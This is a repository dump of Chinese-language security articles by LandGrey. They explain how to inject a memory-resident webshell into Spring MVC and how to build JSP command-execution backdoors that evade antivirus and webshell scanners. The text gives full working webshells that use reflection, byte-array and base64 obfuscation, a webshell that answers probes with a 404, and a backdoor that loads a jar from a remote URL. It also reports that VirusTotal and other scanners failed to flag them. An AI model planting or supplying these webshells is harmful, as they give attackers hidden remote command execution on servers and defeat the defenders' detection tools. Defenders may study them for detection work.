methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
375 | public boolean matches(Method method) {
376 | return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
377 | }
378 | });
379 | Iterator var6 = methods.iterator();
380 | while(var6.hasNext()) {
381 | Method method = (Method)var6.next();
382 | T mapping = this.getMappingForMethod(method, userType);
383 | this.registerHandlerMethod(handler, method, mapping);
384 | }
385 | }
386 | ```
387 |
388 |
389 |
390 | 该方法仅接受`handler`参数,同样可以在 `this.getApplicationContext()` 获得的上下文环境中寻找名字为 `handler` 参数值的 `bean`, 并注册 `controller` 的实例 `bean`。
391 |
392 | 示例代码如下:
393 |
394 | ```java
395 | context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
396 | org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
397 | java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
398 | m1.setAccessible(true);
399 | m1.invoke(requestMappingHandlerMapping, "dynamicController");
400 | ```
401 |
402 |
403 |
404 | ### 3. controller 中的 Webshell 逻辑
405 |
406 | 在使用 `registerMapping` 动态注册 `controller` 时,不需要强制使用 `@RequestMapping` 注解定义 URL 地址和 HTTP 方法,其余两种手动注册 `controller` 的方法都必须要在 `controller` 中使用`@RequestMapping` 注解 。
407 |
408 | 除此之外,将 Webshell 的代码逻辑写在主要的 `Controller` 方法中即可。
409 |
410 | 下面提供一个简单的用来执行命令回显的 Webshell 代码示例:
411 |
412 | ```java
413 | package me.landgrey;
414 |
415 | import org.springframework.stereotype.Controller;
416 | import org.springframework.web.bind.annotation.RequestMapping;
417 |
418 | import javax.servlet.http.HttpServletRequest;
419 | import javax.servlet.http.HttpServletResponse;
420 | import java.io.PrintWriter;
421 |
422 | @Controller
423 | public class SSOLogin {
424 |
425 | @RequestMapping(value = "/favicon")
426 | public void login(HttpServletRequest request, HttpServletResponse response){
427 | try {
428 | String arg0 = request.getParameter("code");
429 | PrintWriter writer = response.getWriter();
430 | if (arg0 != null) {
431 | String o = "";
432 | java.lang.ProcessBuilder p;
433 | if(System.getProperty("os.name").toLowerCase().contains("win")){
434 | p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
435 | }else{
436 | p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
437 | }
438 | java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
439 | o = c.hasNext() ? c.next(): o;
440 | c.close();
441 | writer.write(o);
442 | writer.flush();
443 | writer.close();
444 | }else{
445 | response.sendError(404);
446 | }
447 | }catch (Exception e){
448 | }
449 | }
450 | }
451 | ```
452 |
453 | 代码比较简单,达到的效果是,当请求没有携带指定的参数(`code`)时,返回 404 错误,当没有经验的人员检查时,因为 Webshell 仅存在于内存中,直接访问又是 404 状态码,所以很可能会认为 Webshell 不存在或者没有异常了。
454 |
455 |
456 |
457 | 
458 |
459 |
460 |
461 | 
462 |
463 |
464 |
465 | ## 五. 注意事项
466 |
467 | ### 不同的映射处理器
468 |
469 | 如下面的配置,当有些老旧的项目中使用旧式注解映射器时,上下文环境中没有 `RequestMappingHandlerMapping` 实例的 `bean`,但会存在 `DefaultAnnotationHandlerMapping` 的实例 `bean`。
470 |
471 | ```java
472 |
473 |
474 | ```
475 |
476 |
477 |
478 | ### Root Context 与 Child Context
479 |
480 | 上文展示的四种获得当前代码运行时的上下文环境的方法中,推荐使用后面两种方法获得 `Child WebApplicationContext`。
481 |
482 | 这是因为:根据习惯,在很多应用配置中注册`Controller` 的 `component-scan` 组件都配置在类似的 `dispatcherServlet-servlet.xml` 中,而不是全局配置文件 `applicationContext.xml` 中。
483 |
484 | 这样就导致 `RequestMappingHandlerMapping` 的实例 `bean` 只存在于 `Child WebApplicationContext` 环境中,而不是 `Root WebApplicationContext` 中。上文也提到过,`Root Context`无法访问`Child Context`中定义的 `bean`,所以可能会导致 `Root WebApplicationContext` 获得不了 `RequestMappingHandlerMapping` 的实例 `bean` 的情况。
485 |
486 | 另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 `ContextLoaderListener` 、也没有类似 `applicationContext.xml` 的全局配置文件,只有简单的 `servlet` 配置文件,这时候通过前两种方法是获取不到`Root WebApplicationContext`的。
487 |
488 |
489 |
490 | ### 应用场景
491 |
492 | 既然是通过执行 java 代码内存注入 webshell,那么一般需要通过 Spring 相关的**代码执行漏洞**才可以利用,例如较为常见的 Java 反序列漏洞、普通的 JSP 文件 Webshell 转换成无文件 Webshell等。
493 |
494 |
495 |
496 | ## 六. 演示
497 |
498 | 本文技术的具体实现已集成到实验室内部的 Webshell 管理工具中,下面的动态图片演示了在 `SpringMvc` 环境中向内存注入一个自定义 URL 的 Webshell 操作。
499 |
500 | 
501 |
502 |
503 |
504 |
505 |
506 | ## 参考链接:
507 |
508 | [Spring Framework 5 中文文档](https://lfvepclr.gitbooks.io/spring-framework-5-doc-cn/)
509 |
510 | [Spring源码阅读-ApplicationContext体系结构分析](https://www.cnblogs.com/zhangfengxian/p/11192054.html)
511 |
512 | [contextloaderlistener-vs-dispatcherservlet](https://howtodoinjava.com/spring-mvc/contextloaderlistener-vs-dispatcherservlet/)
513 |
514 | [DispatcherServlet与ContextLoaderListener的对比](https://blog.csdn.net/sadfishsc/article/details/51027873)
515 |
516 | [Spring MVC手动注册requestMapping](https://blog.csdn.net/GAMEloft9/article/details/81625348)
517 |
518 | [动态注册bean后手动注册controller](https://bbs.csdn.net/topics/392073765)
519 |
520 |
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ClassLoader.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ClassLoader.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Process.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Process.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-check.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-cmd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-cmd.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-reflect-start.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-reflect-start.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-shell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-shell.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder.start.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder.start.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl-jdk6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl-jdk6.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl.start.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl.start.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Runtime-constructor.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Runtime-constructor.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Runtime.exec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Runtime.exec.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/forName.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/forName.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/local-check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/local-check.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/relations.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/relations.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/scanner-check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/scanner-check.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/shellpub-check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/shellpub-check.png
--------------------------------------------------------------------------------
/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/using-java-reflection-and-ClassLoader-bypass-webshell-detection.md:
--------------------------------------------------------------------------------
1 | ### 0x00:前言
2 |
3 | JSP后门,一般是指文件名以.jsp等后缀结尾的,可运行于Java servlet及相关容器和组件内的通用JSP脚本。
4 |
5 | 本文主要讨论利用Java反射机制和Java类加载机制构造JSP系统命令执行后门,并绕过一般软件检测的方法。
6 |
7 | ### 0x01:Java执行系统命令的方法和原理
8 |
9 | 要构建JSP命令执行后门,首先需要了解Java语言执行系统命令的方法及其原理。通过查阅资料知道:目前Java语言执行系统命令主要通过下面两个类的相关方法实现:
10 |
11 | ```
12 | java.lang.Runtime
13 | java.lang.ProcessBuilder
14 | ```
15 |
16 | - #### JVM层面
17 |
18 | 查阅 [**Java 文档**](http://tool.oschina.net/apidocs/apidoc?api=jdk-zh) 可以发现,上面两个类,都是对java.lang.Process抽象类的实现
19 |
20 | 
21 |
22 | Java语言中执行系统命令的方式,简单来说就是**由JVM创建一个本机进程,加载对应的指令到进程的地址空间中,然后执行该指令**。
23 |
24 | 而**java.lang.Runtime.getRuntime().exec()**和 **java.lang.ProcessBuilder.start()**方法,其实就是创建一个进程的方法。
25 |
26 | - #### 代码层面
27 |
28 | 首先,进入java.lang.Runtime类中,发现Runtime类的构造器是private修饰的,所以无法直接获得Runtime类的实例,只能通过其getRuntime()方法来间接获取一个Runtime类的实例。
29 |
30 | 
31 |
32 | 跟随java.lang.Runtime.getRuntime(),进入exec()方法;然后不断跟踪代码,定位到如下方法中。可以看到,Runtime类实现的系统命令执行方法exec(),底层代码其实是调用了ProcessBuilder类。
33 |
34 | 
35 |
36 | 然后我们定位到ProcessBuilder类代码中,我们知道ProcessBuilder类用start方法创建进程,所以找到start方法的相关代码。可以发现其底层代码是调用了java.lang.ProcessImpl类的start方法,最终实现创建本机进程,执行系统命令的功能。
37 |
38 | 
39 |
40 | 继续跟踪,发现ProcessImpl类的原型是一个继承自Process类的final类
41 |
42 | `final class ProcessImpl extends Process{}`
43 |
44 | 查看ProcessImpl的构造器,发现是private修饰的,所以无法直接在java.lang包外,直接调用ProcessImpl类。
45 |
46 | ```
47 | private ProcessImpl(String cmd[],
48 | final String envblock,
49 | final String path,
50 | final long[] stdHandles,
51 | final boolean redirectErrorStream)
52 | throws IOException
53 | {}
54 | ```
55 |
56 | 继续追踪ProcessImpl类的start方法,发现最后是返回了一个ProcessImpl 类的实例。
57 |
58 | 
59 |
60 | 总结一下,Java语言执行系统命令相关类和方法的调用关系表示如下图:
61 |
62 | 
63 |
64 | ### 0x02:JSP标签
65 |
66 | 在JSP页面中嵌入java代码,需要正确的使用JSP标签,这里顺带提一下。
67 |
68 | ```jsp
69 | <%@ %> 页面指令,设定页面属性和特征信息
70 | <% %> java代码片段,不能在此声明方法
71 | <%! %> java代码声明,声明全局变量或当前页面的方法
72 | <%= %> Java表达式
73 | ```
74 |
75 | ### 0x03:用ProcessBuilder绕过检测
76 |
77 | 先看一个简单原始的执行系统命令的后门:
78 |
79 | `<%Runtime.getRuntime().exec(request.getParameter("i"));%>`
80 |
81 | 接收请求参数**i**传递的命令字符串,然后使用Runtime对象的exec()方法执行该命令。特点是命令无回显,会被杀。
82 |
83 | "Runtime"、"exec"字符串过于显眼,基本都会被查杀软件检测到。所以,可以使用ProcessBuilder类建立一个不那么轻易被杀的命令执行后门,命名为[ProcessBuilder-cmd.jsp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/ProcessBuilder-cmd.jsp):
84 |
85 | ```jsp
86 | <%@ page pageEncoding="utf-8"%>
87 | <%@ page import="java.util.Scanner" %>
88 |
89 | Just For Fun
90 |
91 | Build By LandGrey
92 |
96 |
97 | <%
98 | String op="Got Nothing";
99 | String query = request.getParameter("q");
100 | String fileSeparator = String.valueOf(java.io.File.separatorChar);
101 | Boolean isWin;
102 | if(fileSeparator.equals("\\")){
103 | isWin = true;
104 | }else{
105 | isWin = false;
106 | }
107 |
108 | if (query != null) {
109 | ProcessBuilder pb;
110 | if(isWin) {
111 | pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
112 | }else{
113 | pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
114 | }
115 | Process process = pb.start();
116 | Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
117 | op = sc.hasNext() ? sc.next() : op;
118 | sc.close();
119 | }
120 | %>
121 |
122 |
123 | <%= op %>>
124 |
125 |
126 |
127 | ```
128 |
129 | 执行命令:
130 |
131 | 
132 |
133 | 上述代码做的几点绕过检测的考虑:
134 |
135 | ```
136 | 1. 避免出现敏感变量名
137 | 如"cmd"、"spy"、"exec"、"shell"、"execute"、"system"、"command"等等
138 | 2. 字符串拆解重组
139 | 将"cmd"、"/c"和"/bin/bash"、"-c"等都做了处理,由字节转为字符串
140 | 3. 使用Scanner接收回显
141 | 接收命令回显数据时,避免使用BufferedReader等常见手段
142 | 4. 用fileSeparator来判断操作系统类型
143 | 一般使用System.getProperty/getProperties获取操作系统的类型,这里使用路径分隔符简单判断,然后再选用"cmd /c"或者"/bin/bash -c"来执行命令
144 | 5. 不导入过多的包
145 | ```
146 |
147 | 虽然做的绕过考虑不多,还**带有ProcessBuilder关键字**,但还是没被以下软件和平台检测出来:
148 |
149 | **virustotal检测**:
150 |
151 | 
152 |
153 | **shellpub.com检测:**
154 |
155 | 
156 |
157 | **D盾、安全狗、深信服Webshell扫描检测:**只有故意放置的一个简单exec后门被查出来
158 |
159 | 
160 |
161 | **OpenRASP团队 https://scanner.baidu.com 检测**结果(引擎版本: 2018-0509-1000):没有发现异常
162 |
163 | 
164 |
165 | ### 0x04:使用Java反射机制绕过检测
166 |
167 | Runtime类的exec方法在Webshell中用的多了,极易被后门查杀软件检测到,那么就不能用exec函数来执行系统命令了嘛?不然,还可以使用Java反射技术既绕过软件对"Runtime"、"exec"等关键词的检查又使用exec函数来执行系统命令。
168 |
169 | 在运行时,对于一个类,能够获取这个类的所有属性和方法,对于一个对象,都能够调用它的任意一个方法和属性,这种动态获取信息和动态调用对象方法的功能称为java语言的反射机制。Java反射机制的来龙去脉比较复杂,这里再给出一段简介用来参考:
170 |
171 | > Java Reflection makes it possible to inspect classes, interfaces, fields and methods at runtime, without knowing the names of the classes, methods etc. at compile time. It is also possible to instantiate new objects, invoke methods and get/set field values using reflection.
172 |
173 | #### 一. 反射Runtime
174 |
175 | 通过查阅[资料](http://tutorials.jenkov.com/java-reflection/index.html),可写出利用反射机制调用Runtime类exec方法执行系统命令的一段示例代码:
176 |
177 | ```java
178 | String op = "";
179 | Class rt = Class.forName("java.lang.Runtime");
180 | Method gr = rt.getMethod("getRuntime");
181 | Method ex = rt.getMethod("exec", String.class);
182 | Process e = (Process) ex.invoke(gr.invoke(null, new Object[]{}), "cmd /c ping www.baidu.com");
183 | Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
184 | op = sc.hasNext() ? sc.next() : op;
185 | sc.close();
186 | System.out.print(op);
187 | ```
188 |
189 | 具体代码含义不浪费篇幅解释了,讲下代码的主要逻辑:
190 |
191 | 1. 获取Runtime类的Class对象
192 | 2. 分别获取Runtime类Class对象的getRuntime方法和exec方法的Method对象
193 | 3. 利用getRuntime方法的Method对象,进行invoke调用,获得Runtime对象实例
194 | 4. 利用exec方法的Method对象,进行invoke调用,执行系统命令
195 | 5. 获取命令执行输出并打印
196 |
197 | 基于以上代码,然后就可以轻松创造出一个使用Java反射技术,既调用Runtime类exec函数执行系统命令, 又可以免杀的JSP后门了,命名为:[Runtime-reflect-cmd.jsp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/Runtime-reflect-cmd.jsp)
198 |
199 | ```jsp
200 | <%@ page import="java.util.Scanner" pageEncoding="UTF-8" %>
201 |
202 | Just For Fun
203 |
204 | Build By LandGrey
205 |
206 |
210 |
211 | <%!
212 | public static String getPicture(String str) throws Exception{
213 | String fileSeparator = String.valueOf(java.io.File.separatorChar);
214 | if(fileSeparator.equals("\\")){
215 | str = new String(new byte[] {99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}) + str;
216 | }else{
217 | str = new String(new byte[] {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}) + str;
218 | }
219 | Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
220 | Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{}), new Object[] { str });
221 | Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
222 | String result = "";
223 | result = sc.hasNext() ? sc.next() : result;
224 | sc.close();
225 | return result;
226 | }
227 | %>
228 |
229 | <%
230 | String name ="Input Nothing";
231 | String query = request.getParameter("q");
232 | if(query != null) {
233 | name = getPicture(query);
234 | }
235 | %>
236 |
237 |
238 | <%= name %>
239 |
240 |
241 |
242 |
243 | ```
244 |
245 | 在Runtime-reflect-cmd.jsp 脚本中:<%! %>标签里声明了用来执行系统命令的getPicture方法,<% %>标签里接受输入的命令,调用了getPicture方法,执行命令并返回结果<%= %>标签里输出系统命令执行结果到网页的\标签对中。
246 |
247 | #### 二. 反射ProcessBuilder
248 |
249 | 查找资料,可以发现已有使用过Runtime反射后门的代码。那么既然可以反射Runtime,其实也可以构造出利用ProcessBuilder类start函数的jsp反射后门。
250 |
251 | 以下后门代码命名为[ProcessBuilder-reflect-cmd.jsp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/ProcessBuilder-reflect-cmd.jsp)
252 |
253 | ```jsp
254 | <%@ page pageEncoding="UTF-8" %>
255 | <%@ page import="java.util.List" %>
256 | <%@ page import="java.util.Scanner" %>
257 | <%@ page import="java.util.ArrayList" %>
258 | <%@ page import="sun.misc.BASE64Encoder" %>
259 | <%@ page import="sun.misc.BASE64Decoder" %>
260 |
261 | Just For Fun
262 |
263 | Build By LandGrey
264 |
265 |
269 |
270 | <%!
271 | public static String getPicture(String str) throws Exception {
272 | List list = new ArrayList();
273 | BASE64Decoder decoder = new BASE64Decoder();
274 | BASE64Encoder encoder = new BASE64Encoder();
275 | String fileSeparator = String.valueOf(java.io.File.separatorChar);
276 | if(fileSeparator.equals("\\")){
277 | list.add(new String(decoder.decodeBuffer("Y21k")));
278 | list.add(new String(decoder.decodeBuffer("L2M=")));
279 | }else{
280 | list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo")));
281 | list.add(new String(decoder.decodeBuffer("LWM=")));
282 | }
283 | list.add(new String(decoder.decodeBuffer(str)));
284 | Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
285 | Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list));
286 | Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A");
287 | String result = "";
288 | result = sc.hasNext() ? sc.next() : result;
289 | sc.close();
290 | return encoder.encode(result.getBytes("UTF-8"));
291 | }
292 |
293 | %>
294 |
295 | <%
296 | String name ="Input Nothing";
297 | String query = request.getParameter("q");
298 | if(query != null) {
299 | name = getPicture(query);
300 | }
301 | %>
302 |
303 |
304 | <%= name %>
305 |
306 |
307 |
308 |
309 | ```
310 |
311 | ProcessBuilder-reflect-cmd.jsp脚本中,考虑到通用性、隐蔽性和对抗网页流量内容检测,用sun.misc包中的base64编码函数来处理了相关变量和内容。命令需要base64编码一下再提交,最后输出的内容需要base64解码:
312 |
313 | 
314 |
315 | 其中关键的两行反射代码:
316 |
317 | ```java
318 | Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
319 | Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list));
320 | ```
321 |
322 | 为了易于理解可以写成下面的示例代码供参考:
323 |
324 | ```java
325 | // 1. 获取ProcessBuilder的Class对象,PB
326 | Class PB = Class.forName("java.lang.ProcessBuilder");
327 | // 2. 从PB获取接受一个List类型变量作为参数的构造器对象,constructor
328 | Constructor constructor = PB.getConstructor(new Class[]{List.class});
329 | 或
330 | // 获得PB的第一个(也只有一个)构造器对象
331 | Constructor constructor = PB.getDeclaredConstructors()[0];
332 | // 3. 从PB获取一个名叫"start"的方法对象,m
333 | Method m = PB.getMethod("start");
334 | // 4. 提供给constructor需要的List类型变量值list(其中包含我们需要执行的命令),获得一个实例对象obj
335 | Object obj = constructor.newInstance(list);
336 | //5. 传入obj对象,调用m("start"方法),执行系统命令
337 | Process process = (Process) m.invoke(obj);
338 | ```
339 |
340 | #### 三. 关于反射ProcessImpl
341 |
342 | 在"**0x01:Java执行系统命令的方法和原理**"部分讲了,ProcessImpl类不是public修饰的,不能从java.lang包外的地方直接访问。所以想要接触到ProcessImpl.start方法就要用到反射机制(需要setAccessible true),反射最原始的ProcessImpl类的start方法,来执行系统命令。
343 |
344 | 用代码
345 |
346 | ```java
347 | import java.lang.reflect.*;
348 |
349 | Class Pi = Class.forName("java.lang.ProcessImpl");
350 | Method[] methods = Pi.getDeclaredMethods();
351 | for(Method m:methods){
352 | m.setAccessible(true);
353 | System.out.println(m.toString());
354 | }
355 | ```
356 |
357 | 可以获得ProcessImpl.start方法的参数原型(JDK8):
358 |
359 | `static java.lang.Process java.lang.ProcessImpl.start(java.lang.String[],java.util.Map,java.lang.String,java.lang.ProcessBuilder$Redirect[],boolean) throws java.io.IOException`
360 |
361 | 或者跟踪到ProcessImpl类中,也可以直接观察需要的5个参数值类型:
362 |
363 | 
364 |
365 | 经[@0c0c0f](https://github.com/0c0c0f) 提醒, 其实反射java.lang.ProcessImpl类来执行代码,看起来要传入5个参数,实现起来其实也不复杂,完整代码示例如下:
366 |
367 | ```java
368 | import java.util.Map;
369 | import java.lang.Process;
370 | import java.util.Scanner;
371 | import java.lang.reflect.Method;
372 | import java.lang.ProcessBuilder.Redirect;
373 |
374 |
375 | public class invoke_ProcessImpl {
376 | public static void main(String[] args) throws Exception{
377 | String op = "";
378 |
379 | String dir = ".";
380 | String[] cmdarray = new String[]{"ping", "127.0.0.1"};
381 | Map environment = null;
382 | Redirect[] redirects = null;
383 | boolean redirectErrorStream = true;
384 |
385 | Class clazz = Class.forName("java.lang.ProcessImpl");
386 | Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
387 | method.setAccessible(true);
388 | Process e = (Process) method.invoke(null, cmdarray, environment, dir, redirects, redirectErrorStream);
389 | Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
390 | op = sc.hasNext() ? sc.next() : op;
391 | sc.close();
392 | System.out.print(op);
393 | }
394 | }
395 | ```
396 |
397 | 上面代码中虽然成功通过反射 java.lang.ProcessImpl 类的start方法执行了系统命令,但引入了"ProcessBuilder" 关键字,所以只作为一种技术可行性来看待。在jdk6及以下版本,ProcessImpl start函数只需四个参数,可以避免引入"ProcessBuilder"关键字,通过反射执行系统命令。
398 |
399 | 
400 |
401 | 总之,想要通过Java反射机制来执行系统命令的话,一般就是通过**反射Runtime类和ProcessBuilder类**,调用相关系统命令执行方法来完成。
402 |
403 | 其实到这里,利用Java的反射机制来绕过查杀软件检测已经讲的差不多了。但是查资料过程中,发现下面这段比较老的利用Java反射技术的后门代码:
404 |
405 | ```jsp
406 | <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>
407 | ```
408 |
409 | 利用起来像这样
410 |
411 | `http://target.com/reflect.jsp?u=http://somesite.com/some.jar&password=A `
412 |
413 | 仔细看会发现:代码中的Class.forName()方法用了三个参数,而我们上面部分讲的代码中Class.forName()方法只用了一个参数。查阅API文档,发现Class.forName()方法是有两种形式,然后就注意到了Java类加载器ClassLoader和类加载机制。
414 |
415 | 
416 |
417 | ### 0x05:使用Java类加载机制绕过检测
418 |
419 | Java类加载机制简单来说就是JVM查找到类的所在位置,并将找到的Java类的字节码装入内存,生成对应的Class对象。其中有几个重要的概念如下:
420 |
421 | #### Class对象
422 |
423 | > 一个.java源码文件经过编译生成.class字节码文件,可以认为是Java编译器创建了一个可以被JVM识别并加载的Class对象。这个Class对象就可以看成是.class文件或者说Class对象被保存在了.class文件中。
424 |
425 | #### Java自带的三个类加载器
426 |
427 | - Bootstrap Classloder
428 | - Extention ClassLoader
429 | - App ClassLoader
430 |
431 | 上一级称为下一级的父加载器,加载的先后顺序依次是:
432 |
433 | `Bootstrap Classloder => Extention ClassLoader => App ClassLoader `
434 |
435 | 对应的System.getProperty路径查找顺序:
436 |
437 | `sun.boot.class.path => java.ext.dirs => java.class.path`
438 |
439 | 借用别人的一张图(**双亲委托**)简单说明类加载的过程:
440 |
441 | > 一个类加载器查找class和resource时,首先判断这个class是不是已经加载成功;如果没有的话它并不是自己进行查找,而是先委托给父加载器,然后递归委托,直到Bootstrap ClassLoader加载器;如果Bootstrap classloader找到了,直接返回class和resource;如果没有找到,则一级一级返回,最后才是自己去查找。
442 |
443 | 
444 |
445 |
446 |
447 | 原理看起来比较复杂,实现起来其实比较简单,即将获得Class对象的方式由
448 |
449 | `Class rt= Class.forName("java.lang.Runtime");` 改成
450 |
451 | `Class rt = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");`的形式即可,反射ProcessBuilder同理。
452 |
453 | 其它一些特性如要深入了解请去查看具体代码实现,其它内容不再展开。
454 |
455 | ### 0x06:获得Class对象的四种方法
456 |
